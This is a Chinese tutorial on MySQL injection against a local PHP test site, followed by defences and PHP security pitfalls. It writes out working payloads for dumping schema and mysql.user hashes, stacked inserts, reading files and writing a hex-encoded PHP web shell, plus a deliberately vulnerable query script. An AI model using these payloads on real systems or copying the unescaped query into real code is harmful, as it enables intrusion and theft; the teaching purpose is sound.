mysql的注入原理_mysql 注入原理以及防范

一、注入原理

通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意的SQL命令

二、实例

1、建表sql

CREATE TABLE `web_safe` (  `id` int unsigned NOT NULL AUTO_INCREMENT,`user_name` varchar(30) NOT NULL DEFAULT ” COMMENT ‘用户名’,`user_pwd` char(32) NOT NULL DEFAULT ” COMMENT ‘用户密码’,PRIMARY KEY (`id`)) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COMMENT=’测试web安全表';

insert into web_safe(`user_name`,`user_pwd`) values(‘test1′,md5(‘test1′)),(‘test2′,md5(‘test2′)),(‘test3′,md5(‘test3′)),(‘test4′,md5(‘test4′)),(‘test5′,md5(‘test5′));

2、构造一个测试站点

2.1、apache配置文件

ServerAdmin zhangjianshan@wanda.cn

DocumentRoot “E:/site/web_safe/webroot”

ServerName websafe.dev.ffan.com

ErrorLog “E:/site/web_safe/log/error.log”

CustomLog “E:/site/web_safe/log/access.log” common

2.2 建立php文件

//根据用户名查询用户信息，脚本中没有对userName转义

curl /index.php?userName=用户名

3、实例注入

3.1、查询表中全部数据

userName=” or 1 — ”         或者           userName=” or 1 %23″

执 行SQL：select * from web_safe where user_name=”” or 1 — “”         或者             select * from web_safe where user_name=” or 1 #”

3.2、查询数据库信息

userName=” union all select CONCAT(version(),char(58),USER()),database(),now()– ”

执行SQL：select * from web_safe where user_name=”” union all select CONCAT(version(),char(58),USER()),database(),now()– “”

3.3、查找表list

userName=” union all select TABLE_NAME,1,23 from information_schema.TABLES– ”

执行SQL：select * from web_safe where user_name=”” union all select TABLE_NAME,1,23 from information_schema.TABLES– “”

3.4、查找字段list

userName=” union all select COLUMN_NAME,column_type,333 from information_schema.COLUMNS where TABLE_NAME=0x61637469766974795f696d67– “”

执行SQL：select * from web_safe where user_name=”” union all select COLUMN_NAME,column_type,333 from information_schema.COLUMNS where TABLE_NAME=0x61637469766974795f696d67– “”

注释：0x61637469766974795f696d67 是字符串 activity_img 的16进制表示

3.5、执行insert/update SQL

userName=” ; insert into web_safe(`user_name`,`user_pwd`) values(‘test8′,md5(‘test8′)); — ”

执 行SQL：select * from web_safe where user_name=”” ; insert into web_safe(`user_name`,`user_pwd`) values(‘test8′,md5(‘test8′)) — “”

注释：需要msyqli->multi_query的支持

3.6、新建php文件

userName=” union all select 0x3c3f706870206576616c28245f4745545b636d645d293b3f3e,0x7072696e745f7228245f534552564552293b,0x6563686f206461746528293b into outfile ‘E:/site/web_safe/webroot/tt.php’– “”

执行SQL：select * from web_safe where user_name=”” union all select 0x3c3f706870206576616c28245f4745545b636d645d293b3f3e,0x7072696e745f7228245f534552564552293b,0x6563686f206461746528293b into outfile ‘E:/site/web_safe/webroot/tt.php’– “”

注释：0x3c3f706870206576616c28245f4745545b636d645d293b3f3e是字符串 <?php eval($_GET[cmd]);?> 16进制表示；其他2个也一样

注释：需要mysql有写权限、知晓web站点物理路径

3.7、读取文件

userName=” union all select LOAD_FILE(0x453a2f736974652f7765625f736166652f776562726f6f742f68747470642e636f6e66),1,1 into outfile ‘E:/site/web_safe/webroot/ss.php’– ”

执行SQL：select * from web_safe where user_name=”” union all select LOAD_FILE(0x453a2f736974652f7765625f736166652f776562726f6f742f68747470642e636f6e66),1,1 into outfile ‘E:/site/web_safe/webroot/ss.php’– “”

注释：0x453a2f736974652f7765625f736166652f776562726f6f742f68747470642e636f6e66是字符串 E:/site/web_safe/webroot/httpd.conf 的16进制

3.8、写入js代码

userName=” ; insert into web_safe(`user_name`,`user_pwd`) values(‘’,md5(‘test8′)); — ”

或者

userName=” ; insert into web_safe(`user_name`,`user_pwd`) values(‘’,md5(‘test8′)); — ”

或者

userName=” ; insert into web_safe(`user_name`,`user_pwd`) values(‘’,md5(‘test8′)); — ”

执 行SQL：select * from web_safe where user_name=”” ; insert into web_safe(`user_name`,`user_pwd`) values(‘’,md5(‘test8′)); — ”

注释：如果页面上有展示用户名的功能，可以导致入侵者获取用户的cookie、替代用户自动完成某种操作

三、防范

字符串类的处理：

3.1、addslashes

作用：将 NUL (ASCII 0),\, ‘, ” 前面增加斜线进行转义

addslashes(“Who’s Bill Gates”)      =====>           Who\’s Bill Gates

3.2、mysqli::real_escape_string

作用：将 NUL (ASCII 0), \n, \r, \, ‘, “, and Control-Z(\x1a) 转义

$str = “abc

de”;mysqli::real_escape_string($str)   ============>  abc\nde

注 释：If you wonder why (besides \, ‘ and “)  NUL (ASCII 0), \n, \r, and Control-Z are escaped:it is not to prevent sql injection, but to prevent your sql logfile to get unreadable.

3.3、mysqli:bind_param 或者 pdo

作用：参数绑定，终极防注入解决方案。

3.4、个人推荐

3.1和3.2不能从根本上防范SQL注入，务必使用 3.3 来解决sql注入

数字类的处理：

最好直接使用int，如：$a = (int)$_GET[‘a’];

使 用is_numeric判断是不是数字会有问题：is_numeric(0x22206f722031202d2d2022) 返回true , 0x22206f722031202d2d2022 == ” or 1 — “，如果直接将 ” or 1 — ” 拼接到sql中会导致严重问题

例：insert into test(type)values($s);  ====> insert into test(type)values(0x22206f722031202d2d2022);  ====> 实际值会被mysql转成 ” or 1 — ”

使用in_array()问题：echo in_array(‘1a’,array(1,2)) 会返回true

empty函数问题：empty(‘0′) 返回ture，如果用户传入的参数值是0，如果需求认为0也是一个字符串，应该使用isset($a{0})判断字符串是不是空字符串

注意：用户提交过来的数据不仅仅包含表单中的数据，还包含诸如：$_SERVER[REMOTE_ADDR], $_SERVER[HTTP_USER_AGENT],

四、注入工具

五、php代码的安全问题

5.1

代码：foreach ($_GET AS $key => $value){ print $key.”\n”; }

url：index.php?=1&a=c

注释：可以导致xss问题

5.2

代码：foreach ($_GET AS $key => $value){ include($key); }

注释：include未知文件

5.3

代码：$a=‘hi’;foreach($_GETas$key=>$value){$$key=$value;}print$a;

url：index.php?a=sssssssssssss

注释：会导致$a的值被覆盖成sssssssssssss

5.4

代码：$var=‘init’;parse_str($_SERVER[‘QUERY_STRING’]);print$var;

url：index.php?var=tttttt

注释：会导致$var的值被覆盖成tttttt

5.5

代码：$str = $_GET[‘action’].”.php”;

url：index.php?action=tttt.txt%00

注释：代码会报错：include(): Failed opening ‘tttt.txt’ for inclusion ， %00(ascii表中null)会导致include截断问题

5.6

代码：update `app_schema` set `name`=’aaaaaaaaaaaaaaaaaaaaaaaaaaaaa               1′ where id=1;

注释：name字段是10个字符长度，如果sql_mode没有设置STRICT_ALL_TABLES, update可以执行成功，但会被截断，此时可能导致name字段出现重复的字符串。但是用php脚本验证是否重复的时候是没有重复。

六、本次测试的php源码

//—————-使用注释—————-//

//” or 1 — ” -> select * from web_safe where user_name=”” or 1 — “”

//” or 1 %23″ -> select * from web_safe where user_name=”” or 1 — “”          %23==#

//————–获取数据库信息————//

//” union all select CONCAT(version(),char(58),USER()),database(),now()– ” ->

//select * from web_safe where user_name=”” union all select CONCAT(version(),char(58),USER()),database(),now()– “”

//char(58) == : == ascii(‘:’) == 0x3a

//————-查找用户信息————//

//” union all select host,user,password from mysql.user– ”

//-> select * from web_safe where user_name=”” union all select host,user,password from mysql.user– “”

//————-查找表————//

//” union all select TABLE_NAME,1,23 from information_schema.TABLES– ”

//-> select * from web_safe where user_name=”” union all select TABLE_NAME,1,23 from information_schema.TABLES– “”

//————-查找字段————//

//” union all select * from web_safe where user_name=”” union all select COLUMN_NAME,column_type,333 from information_schema.COLUMNS where TABLE_NAME=0x61637469766974795f696d67– “”

//-> select * from web_safe where user_name=”” union all select COLUMN_NAME,column_type,333 from information_schema.COLUMNS where TABLE_NAME=0x61637469766974795f696d67– “”

//0x61637469766974795f696d67 == activity_img

//————执行其他sql———//

//” ; insert into web_safe(`user_name`,`user_pwd`) values(‘test8′,md5(‘test8′)); — ”

//->select * from web_safe where user_name=”” ; insert into web_safe(`user_name`,`user_pwd`) values(‘test8′,md5(‘test8′)) — “”

//————新建php文件———–//

//” union all select 0x3c3f706870206576616c28245f4745545b636d645d293b3f3e,0x7072696e745f7228245f534552564552293b,0x6563686f206461746528293b into outfile ‘E:/site/web_safe/webroot/tt.php’– “”

// -> select * from web_safe where user_name=”” union all select 0x3c3f706870206576616c28245f4745545b636d645d293b3f3e,0x7072696e745f7228245f534552564552293b,0x6563686f206461746528293b into outfile ‘E:/site/web_safe/webroot/tt.php’– “”

//———–读取文件————–//

//” union all select LOAD_FILE(0x453a2f736974652f7765625f736166652f776562726f6f742f68747470642e636f6e66),1,1 into outfile ‘E:/site/web_safe/webroot/ss.php’– ”

//-> select * from web_safe where user_name=”” union all select LOAD_FILE(0x453a2f736974652f7765625f736166652f776562726f6f742f68747470642e636f6e66),1,1 into outfile ‘E:/site/web_safe/webroot/ss.php’– “”

//———–js代码————–//

//

//

//

//根据user_name查询用户信息

$userName = isset($_GET[‘userName’]) ? trim($_GET[‘userName’]) : ”;

msg(‘userName原始值 ==>’.$userName.'<==’);

if(isset($userName{0})) {

mysqlClient::init();

//———-直接执行sql———–//

msg(‘未转义’);

$sql = ‘select * from web_safe where user_name=”‘ . $userName . ‘”‘;

$ret = mysqlClient::query($sql);

//———-addslashes——//

//Characters encoded are NUL (ASCII 0),\, ‘, ”

msg(‘使用addslashes转义’);

$escapeUserName = addslashes($userName);

$sql = ‘select * from web_safe where user_name=”‘ . $escapeUserName . ‘”‘;

$ret = mysqlClient::query($sql);

//———–htmlspecialchars – html_entities – get_html_translation_table —//

msg(‘使用htmlspecialchars转义’);

//&->& ” -> " ‘ -> ' < -> < > -> >

//-ENT_COMPAT – 默认。仅编码双引号。 ENT_QUOTES – 编码双引号和单引号。ENT_NOQUOTES – 不编码任何引号。-//

$escapeUserName = htmlspecialchars($userName,ENT_QUOTES | ENT_IGNORE,’UTF-8′);

$sql = ‘select * from web_safe where user_name=”‘ . $escapeUserName . ‘”‘;

$ret = mysqlClient::query($sql);

//———-mysqli::real_escape_string——//

msg(‘使用mysqli::real_escape_string转义’);

//Characters encoded are NUL (ASCII 0), \n, \r, \, ‘, “, and Control-Z.

$escapeUserName = mysqlClient::escape($userName);

$sql = ‘select * from web_safe where user_name=”‘ . $escapeUserName . ‘”‘;

$ret = mysqlClient::query($sql);

msg(‘使用mysqli::bind_param’);

//———-mysqli::参数绑定/pdo———–//

$ret = mysqlClient::bindParam($userName);

/*

If you wonder why (besides \, ‘ and “)  NUL (ASCII 0), \n, \r, and Control-Z are escaped:it is not to prevent sql injection, but to prevent your sql logfile to get unreadable.

*/

exit;

}

function msg($msg)

{

echo $msg .”\n\n”;

}

class mysqlClient

{

static private $client;

public static function init()

{

self::$client = mysqli_init();

self::$client->options(MYSQLI_OPT_CONNECT_TIMEOUT, 5);

self::$client->real_connect(‘127.0.0.1′,’root’,”,’activity’,3306);

if (self::$client->connect_errno) {

return self::$client->connect_errno.’->’.self::$client->connect_error;

}

self::$client->query(‘set names utf8mb4′);

return 0;

}

public static function query($sql)

{

$ret = array();

msg(‘执行的sql=>’.$sql);

if (self::$client->multi_query($sql)) {

do {

/* store first result set */

if ($result = self::$client->store_result()) {

while ($row = $result->fetch_row()) {

$ret[] = $row;

}

$result->free();

}

/* print divider */

if (self::$client->more_results()) {

}

} while (self::$client->next_result());

} else {

msg(‘query error’);

}

msg(‘执行的结果=>’.print_r($ret,1));

return $ret;

}

public static function multiQuery($sql)

{

$ret = array();

msg(‘执行的sql=>’.$sql);

$ret = self::$client->multi_query($sql);

msg(‘执行的结果=>’.print_r($ret,1));

return $ret;

}

public static function escape($str)

{

return self::$client->real_escape_string($str);

}

public static function bindParam($userName) {

$ret = array();

$stmt = self::$client->prepare(“select * from web_safe where user_name=?”);

$stmt->bind_param(“s”, $userName);

$stmt->execute();

$result = $stmt->get_result();

while ($myrow = $result->fetch_assoc()) {

$ret[] = $myrow;

}

msg(‘执行的结果=>’.print_r($ret,1));

return $ret;

}

}

//CREATE TABLE `web_safe` (  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,`user_name` varchar(30) NOT NULL DEFAULT ” COMMENT ‘用户名’,`user_pwd` char(32) NOT NULL DEFAULT ” COMMENT ‘用户密码’,PRIMARY KEY (`id`)) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COMMENT=’测试web安全表';

//insert into web_safe(`user_name`,`user_pwd`) values(‘test1′,md5(‘test1′)),(‘test2′,md5(‘test2′)),(‘test3′,md5(‘test3′)),(‘test4′,md5(‘test4′)),(‘test5′,md5(‘test5′));